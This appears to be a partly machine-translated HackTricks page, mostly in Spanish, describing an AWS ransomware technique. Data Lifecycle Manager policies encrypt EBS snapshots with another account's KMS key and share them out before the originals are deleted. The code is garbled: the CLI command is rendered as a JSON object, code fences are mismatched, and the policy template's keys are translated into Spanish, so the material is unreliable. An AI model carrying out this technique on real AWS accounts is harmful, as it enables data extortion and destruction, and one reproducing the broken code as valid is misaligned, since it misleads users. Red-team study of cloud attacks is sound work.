AWS - DLM Post Exploitation

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Equipo Rojo de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Administrador del Ciclo de Vida de Datos (DLM)

EC2:DescribeVolumes, DLM:CreateLifeCyclePolicy

Un ataque de ransomware puede ejecutarse cifrando tantos volúmenes EBS como sea posible y luego borrando las instancias EC2 actuales, los volúmenes EBS y las instantáneas. Para automatizar esta actividad maliciosa, se puede emplear Amazon DLM, cifrando las instantáneas con una clave KMS de otra cuenta de AWS y transfiriendo las instantáneas cifradas a una cuenta diferente. Alternativamente, podrían transferir instantáneas sin cifrar a una cuenta que gestionan y luego cifrarlas allí. Aunque no es directo cifrar volúmenes EBS o instantáneas existentes directamente, es posible hacerlo creando un nuevo volumen o instantánea.

En primer lugar, se utilizará un comando para recopilar información sobre los volúmenes, como el ID de la instancia, el ID del volumen, el estado de cifrado, el estado de la conexión y el tipo de volumen. aws ec2 describe-volumes

Secondly, one will create the lifecycle policy. This command employs the DLM API to set up a lifecycle policy that automatically takes daily snapshots of specified volumes at a designated time. It also applies specific tags to the snapshots and copies tags from the volumes to the snapshots. The policyDetails.json file includes the lifecycle policy's specifics, such as target tags, schedule, the ARN of the optional KMS key for encryption, and the target account for snapshot sharing, which will be recorded in the victim's CloudTrail logs.

```json
{
  "aws dlm create-lifecycle-policy": "aws dlm create-lifecycle-policy",
  "--description": "My first policy",
  "--state": "ENABLED",
  "--execution-role-arn": "arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole",
  "--policy-details": "file://policyDetails.json"
}

A template for the policy document can be seen here:
```bash
```json
{
"TipoPolítica": "ADMINISTRACIÓN_DE_SNAPSHOTS_EBS",
"TiposDeRecursos": [
"VOLUMEN"
],
"EtiquetasObjetivo": [
{
"Llave": "ClaveEjemplo",
"Valor": "ValorEjemplo"
}
],
"Programaciones": [
{
"Nombre": "InstantáneasDiarias",
"CopiarEtiquetas": true,
"EtiquetasAAgregar": [
{
"Llave": "CreadorInstantánea",
"Valor": "DLM"
}
],
"EtiquetasVariables": [
{
"Llave": "CentroDeCostos",
"Valor": "Finanzas"
}
],
"ReglaCreación": {
"Intervalo": 24,
"UnidadIntervalo": "HORAS",
"Tiempos": [
"03:00"
]
},
"ReglaRetención": {
"Cantidad": 14
},
"ReglaRestauraciónRápida": {
"Cantidad": 2,
"Intervalo": 12,
"UnidadIntervalo": "HORAS"
},
"ReglasCopiaInterregional": [
{
"RegiónObjetivo": "us-west-2",
"Encriptado": true,
"ArnCmk": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
"CopiarEtiquetas": true,
"ReglaRetención": {
"Intervalo": 1,
"UnidadIntervalo": "DÍAS"
}
}
],
"ReglasCompartir": [
{
"CuentasObjetivo": [
"123456789012"
],
"IntervaloNoCompartir": 30,
"UnidadIntervaloNoCompartir": "DÍAS"
}
]
}
],
"Parámetros": {
"ExcluirVolumenArranque": false
}
}

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

Última actualización